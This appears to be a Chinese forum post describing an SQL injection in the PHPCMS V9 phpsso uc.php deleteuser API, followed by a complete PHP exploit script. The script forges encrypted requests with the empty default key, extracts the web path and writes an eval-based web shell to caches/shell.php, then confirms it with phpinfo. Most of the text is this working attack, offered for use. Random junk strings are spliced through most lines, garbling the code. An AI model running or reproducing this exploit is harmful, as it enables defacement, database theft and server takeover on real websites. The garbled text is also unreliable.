PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。4 o: K5 k" F1 R2 Z
- D. Z8 e6 @4 N7 G所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。 \9 ]) I6 I% {
4 l! K0 J/ E7 x6 U' b: `3 D
漏洞分析:3 S+ F$ _$ |- P9 I
1.未启用ucenter服务的情况下uc_key为空. U1 B5 E' M3 R6 t3 {! Z- l' @
define('UC_KEY', pc_base::load_config('system', 'uc_key'));" m* b6 P: c5 m ~, x# o2 _
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
6 J! B R# z' j# L# V+ E public function deleteuser($get,$post) {1 K; |4 k* p* E! m! f, l9 l
pc_base::load_app_func('global', 'admin');
7 N( I, F4 x0 a9 p pc_base::load_app_class('messagequeue', 'admin' , 0);7 \* ]6 v1 i+ t; b& @) v0 _- F# B- t
$ids = new_stripslashes($get['ids']);
7 _ t% f! N% u q. D& F1 X3 b3 R6 { $s = $this->member_db->select("ucuserid in ($ids)", "uid");
. M6 _" M1 O: h3 x* }+ ZSQL语句为
" ^7 D/ D3 L. U$ ~! rSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)5 W5 i* e$ E/ G4 S- j- D- P a- L4 {
8 B8 f+ M9 ?5 Q
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell6 u+ r3 ?7 i, e$ x2 Y2 K& q
<?php C9 ]* O9 N6 P2 h1 E) H: m
print_r('- c5 c B) ]1 N- q( x
---------------------------------------------------------------------------5 ~' M) {8 t+ R$ W B1 H
PHPcms (v9 or Old Version) uc api sql injection 0day
* |8 z* ?7 \* g& fby rayh4c#80sec.com
+ }* ?. Q5 p& p% S2 `---------------------------------------------------------------------------0 R& V# V8 ^! m" `, j
');
" e' z+ \ j2 a3 U( m9 A8 q, @
7 o4 C( D/ @! i9 ^5 h6 Pif ($argc<3) {
( E" l" B4 e: U! q print_r('3 I# v# n0 a4 ~
---------------------------------------------------------------------------; S/ a, `# H9 @7 q4 ]& u) w
Usage: php '.$argv[0].' host path OPTIONS6 b# ]* j7 f' ?7 A( w" r
host: target server (ip/hostname)
Z: @1 n3 ~$ f* N" {2 spath: path to phpcms
: r* J) a3 V0 R- d. XOptions:! t. L- V" \: ^, q" I2 J
-p[port]: specify a port other than 801 ~5 }9 \0 k! n6 H- K; T; a0 A
-P[ip:port]: specify a proxy
4 ~8 k; h9 [' w5 \Example:
+ q/ m1 \) A: H9 v) W& jphp '.$argv[0].' localhost /
$ n0 o# |+ V3 Q6 q2 {php '.$argv[0].' localhost /phpcms/ -p81/ o" H1 i" Y N; _/ I
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
$ L5 L B# R9 s4 B2 `; t---------------------------------------------------------------------------6 {+ G' E( i: Z1 V. U( I
');) S/ i. l% F" `! Q% y3 T
die;
b- `5 }+ N% b& k- ?& b}) i% _8 u: v, d f( T
( N/ B& G. {0 l& I5 V# B' z
error_reporting(7);
3 C$ A2 J$ E% T0 I* aini_set("max_execution_time",0);
& c/ E# q4 D; c& d9 Fini_set("default_socket_timeout",5);
* b9 k! t! {% ?2 c$ k* X3 r
5 _) g0 v& l' ^1 j( R: G) Cfunction quick_dump($string)
4 U" m' W( [! e& y& T( a( o4 S: D{0 p/ U6 p7 [3 i4 j
$result='';$exa='';$cont=0;
; E2 s k6 ~* H! e7 [ for ($i=0; $i<=strlen($string)-1; $i++)3 @+ \* G0 i/ M) f
{! ?1 `* n* L- C! g9 x
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+ f: W0 O4 b# |& d {$result.=" .";}
( Z% d( r+ ~9 D8 m6 y& A% V: B9 ` else
, l( }2 }6 @6 @! t* i! ^$ U0 V {$result.=" ".$string[$i];}
0 h+ m, q& Z) n& I if (strlen(dechex(ord($string[$i])))==2)7 N6 D6 }+ R# w) Q, I6 A3 V
{$exa.=" ".dechex(ord($string[$i]));}3 A6 r5 I. l$ q( C& l3 s5 I
else4 t* h3 s6 _) F& K
{$exa.=" 0".dechex(ord($string[$i]));}1 l& \2 f; O' o d& K6 R
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}; W% [6 s4 Q0 X1 o
}8 i& h8 i! c+ j$ M2 |3 e) a. W
return $exa."\r\n".$result;4 H* X: L4 U/ l% q
}( T$ l" L {' }1 m* g
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
/ Q+ ]* d, k I! U& K
: ~9 Z+ B6 B" p1 y1 Zfunction send($packet), M3 A' @$ k2 }- @
{8 h9 k, s9 O0 S8 _+ i0 ? X
global $proxy, $host, $port, $html, $proxy_regex;
8 c# {# ~0 q9 h ?( @/ O O if ($proxy=='') {2 O( j8 ?/ e0 P! O6 Y' u( Y
$ock=fsockopen(gethostbyname($host),$port);
/ B! ]; H7 o, f6 V1 \9 K if (!$ock) {
* D5 J) ?" B: [ echo 'No response from '.$host.':'.$port; die;. u# ~$ r% t) k. J" G5 ?- y4 b
}* G) l+ M; ]# G
}
/ k/ `. q, K7 ^' m9 u/ w2 J4 y else {; t( f8 r% |5 f4 d
$c = preg_match($proxy_regex,$proxy);
; _3 s# Z6 i* m* _4 ~ if (!$c) {
' t5 S; b' H M# d4 G5 j" _. V! ^ echo 'Not a valid proxy...';die;* w' h6 b1 P/ s8 i
}
X# z' }4 f& [" C $parts=explode(':',$proxy);
( O- h0 Q$ v% s" b4 i7 Q- x- i6 ] $parts[1]=(int)$parts[1];+ }/ k' \; [1 D
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
) J8 ]* l1 k( I2 _# p9 A $ock=fsockopen($parts[0],$parts[1]);1 ^: N" T6 D1 A0 h
if (!$ock) {* g/ v. Q ?0 h
echo 'No response from proxy...';die;
4 ~* c: d& A; } p- V }
1 j3 z( K$ G& M& b7 o }
/ b9 h& O& J, k3 f4 \ fputs($ock,$packet);; P, j* h+ ^1 Q3 u$ Y. {- `
if ($proxy=='') {3 A& j9 E1 j4 H9 V& B1 D( ~
$html='';0 X" X! G" W, E8 T
while (!feof($ock)) {) L5 U( W( M% p6 y3 C4 j# T7 k
$html.=fgets($ock);+ V! K2 |1 ]0 s2 F, C8 q
}1 G' d- ~% ^( P0 s8 x
}; _) p, o- I2 A
else {
/ s4 g& O: C, s6 W' R7 E! I. z $html='';
: `+ i w* Z1 b while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {! {# Z N. X- Q1 F) r; h
$html.=fread($ock,1);
/ O2 }! K( J- E, ~9 o6 h J }
! d" _; e9 b% N/ L$ Q; r* h }
4 `" [' K0 \4 ^1 d fclose($ock);8 ~& v8 T% x; X& ^! v
}
& y+ S* s% a& P
; B+ w; c! R. h5 y7 }& p, |$host=$argv[1];1 ~' C7 y, n' U5 Q* l' A5 L
$path=$argv[2];. K) B* ?% o% G5 ?3 q3 d/ o! |
$port=80;- \1 U* t" x- N' D# J K( q
$proxy="";6 l- o# N: f) Q7 p9 x
for ($i=3; $i<$argc; $i++){7 ^* K5 `! j8 R; m- d
$temp=$argv[$i][0].$argv[$i][1];
2 ^* r+ w- N4 S; P Dif ($temp=="-p")
3 w3 r/ Z5 a! b* o{
( l5 z4 V8 e3 Y3 P $port=(int)str_replace("-p","",$argv[$i]);
+ G" s8 _4 H0 {6 e4 i# r}
6 I% Q1 h) v2 C% d) P5 S1 dif ($temp=="-P")
5 @) f9 i: f/ Q9 C3 p) b m{
. K* Y v! D. _% j; x+ Q2 U $proxy=str_replace("-P","",$argv[$i]);. Q( x! m* U; E1 M6 ?: b2 n
}
- F5 W! j" \4 G! P7 @% l1 a8 p# V( a}
% ]( g7 v' a, c" h# F0 f# e: t/ h/ Y) C
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
- A* a( S3 W" j0 x5 n" oif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
0 [# l8 D3 q4 t- J: L8 E2 U& B9 A% m3 o g0 H# t$ ~3 [
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {5 P' E" ?+ Z+ E, g" M8 Y
* l$ ]3 V4 H) I1 c' J& u
$ckey_length = 4;1 k% F z& R. J ?/ `
0 E! g( X7 \/ `2 {& w' r! x. D $key = md5($key ? $key : '');
8 P. Q" i; ^/ P) ]& q $keya = md5(substr($key, 0, 16));
. e# t$ i+ z$ ] $keyb = md5(substr($key, 16, 16));
* z+ `# I6 n7 h $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';0 q9 g- @+ [$ Q6 J
6 w @6 F4 j4 H5 D! l3 r
$cryptkey = $keya.md5($keya.$keyc);
! D9 Z2 ^9 \! t $key_length = strlen($cryptkey);5 n5 ]5 `" k7 f: _
B9 F0 W: X! R" `& c+ g $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
5 _$ ]0 x- v/ l2 } $string_length = strlen($string);7 A9 @. _* O$ D& v. O- ^
* K1 x# z5 M. b2 y1 ^: g+ s $result = '';
; M; h( v, [0 ?% n $box = range(0, 255);
1 X' Z1 T% j: x9 H; H
3 n/ u$ X4 f, M) I $rndkey = array(); ?# a5 B3 h5 s# {8 ~
for($i = 0; $i <= 255; $i++) {
' `3 U' @/ C, e: f. t) q0 M8 L" p $rndkey[$i] = ord($cryptkey[$i % $key_length]);
; p+ @( ~0 B+ \, Q/ f# f Q5 { }
2 ?5 i' ]* u9 F, E; B/ o+ m$ i( u1 f+ U5 G% ~0 w1 Z
for($j = $i = 0; $i < 256; $i++) {! I0 Z; W8 h) }6 n6 W5 p$ G& B
$j = ($j + $box[$i] + $rndkey[$i]) % 256;" w2 x: `& A* m& e
$tmp = $box[$i];
; R8 @2 ^1 j# M* f8 H3 N0 b( w $box[$i] = $box[$j];% K: T, t1 j3 z' E2 h# `
$box[$j] = $tmp;
$ p! J3 I0 m7 `2 ]; _ }5 @! K, [& s6 ]( o/ t- R$ ^# C; |
4 o! G ?7 p2 u% P- D ] for($a = $j = $i = 0; $i < $string_length; $i++) {+ I$ i/ C* L! V
$a = ($a + 1) % 256;
6 E, r# V6 A/ L8 R. e $j = ($j + $box[$a]) % 256;6 }) }' `$ }; m. f3 u6 {
$tmp = $box[$a];
B9 y4 m9 ]# X% B $box[$a] = $box[$j];. Z- ~4 @, R& s% E9 l. L( ?8 |: Z: X
$box[$j] = $tmp;, F. U9 X0 r7 k* v1 K
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));$ `; H- C3 V3 I7 o+ x$ ~
}
' o, [# s6 B @8 Q; a) T# n) S1 U2 G: f6 Z- r5 x# I
if($operation == 'DECODE') {/ H9 O; t" j1 l% b
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {3 o' N# e! l) x8 I$ y8 H2 i( B
return substr($result, 26);! C0 W9 g% D- m
} else {# h& {+ ^' o7 d: p, J
return ''; t7 M \0 o. ]8 P8 f) q
}
" S* [8 I# Q v% d) k7 R! h, d* I) o } else {
1 |+ X. w y( p! j return $keyc.str_replace('=', '', base64_encode($result));
7 ^* Q4 n3 ]0 R# v2 ~ }. y/ S+ P+ L; l5 A
; _/ \2 X4 `8 a: b# ?' b" p}4 h0 f' B& u- K; f; t' G3 ^
& c* _+ V. |7 ?% }6 H2 Q$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";* |7 V) k1 p9 T( `. N0 _+ K( Z8 t+ X
$SQL = urlencode(authcode($SQL, "ENCODE", ""));* c" x2 e8 ~; L% I" |
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( e2 r" D! v5 B2 u
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";& @4 I: p7 q+ o0 L o
$packet.="User-Agent: Mozilla/5.0\r\n";! a+ e- C5 T) O; j K
$packet.="Host: ".$host."\r\n";
5 e5 w/ ?* P6 D2 u6 a% f5 x& c5 t$packet.="Connection: Close\r\n\r\n";
% H, F, f6 u' vsend($packet);
% Y, M% \" |. ^8 h% s# g' Dif(strpos($html,"MySQL Errno") > 0){
6 a' _' y$ t3 u: h% ]1 Z: ^echo "[2] 发现存在SQL注入漏洞"."\n";4 J+ l I& r- i4 z1 i4 n
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";9 p1 d% @1 t! q0 \5 Y
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";6 C ]& r6 z& |( g: j
$packet.="User-Agent: Mozilla/5.0\r\n";6 }) Q0 {, l4 Z& |2 C% ~4 \, I
$packet.="Host: ".$host."\r\n";4 }5 s8 w! z5 H/ B3 ]( X; ~
$packet.="Connection: Close\r\n\r\n";; \% H" z1 g) Z0 |5 ~) d6 V+ H
send($packet);
7 @) n! [3 u/ v0 R$ S4 q3 a# Kpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
) B: V# _" k+ C//print_r($matches);
4 i- B9 x6 {* m- }; vif(!empty($matches)){
* y, G' ?$ D& A, s8 F3 i: [9 _7 oecho "[4] 得到web路径 " . $matches[0]."\n";
3 g6 O9 i% V/ B( f. _4 p* n, lecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
7 w2 J% n4 k, }) n2 b8 |: H& m- Z$SQL = "time=999999999999999999999999&ids=1)";! Y6 H4 ?6 |. R: _9 J2 R
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";9 g0 k+ K$ H, ]: R
$SQL.="&action=deleteuser";
1 U$ r6 ]' N _9 D2 D5 H$SQL = urlencode(authcode($SQL, "ENCODE", ""));+ ^4 M I4 K% x
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- t k4 \. t4 d" b; c' o
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! ?; }/ l) s8 W4 l6 B$packet.="User-Agent: Mozilla/5.0\r\n";% L5 S1 M% R0 |, [6 |4 \
$packet.="Host: ".$host."\r\n";
- o1 M& y, g$ z# x1 [0 G$packet.="Connection: Close\r\n\r\n";7 s/ h) T6 V/ n# k# @! l1 }
send($packet);
6 e3 ]* g9 }7 s+ lif(strpos($html,"Access denied") > 0){9 M- o \- A \
echo "[-] MYSQL权限过低 禁止写入文件 ";
" Z0 k+ U. b1 Z; J* `3 J; K7 T2 P7 J- C: cdie;* c" Y* d, ]0 K1 u7 f2 g; f* ?; H
}0 A) j) u: r( M" O) e$ k2 @
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
: t; ~+ B1 K; J a! e+ F5 I$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";) b: M5 I& U8 [) n7 {
$packet.="User-Agent: Mozilla/5.0\r\n";
6 z. i( Z, D( x/ T$packet.="Host: ".$host."\r\n";. C+ b9 ]( {! h* q8 `, A, q% H. i
$packet.="Connection: Close\r\n\r\n";, |8 A, c) ^4 N7 c: S
send($packet);* v8 u* q1 n3 b0 m( O7 i+ w8 ^& i
if(strpos($html,"<title>phpinfo()</title>") > 0){' `& i0 A; C/ U$ e5 N! B( t
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
7 g( ^. @2 N) r}
* Y7 ]( i* ?0 Q}else{2 s' G! G3 l m( M5 x# [
echo "[-]未取到web路径 ";& l/ F1 J9 n6 i& _' b& W
}
5 |! Z7 R6 B, `3 O. T8 ^( l' E}else{
0 b+ N# p. S6 {0 b: e+ R. @echo "[*]不存在SQL注入漏洞"."\n";
+ X, X* w1 v' T}
, s7 i4 k( k! X# i' C- ?$ O; @+ c% s) i, U
?>
; S5 R" x( W. L |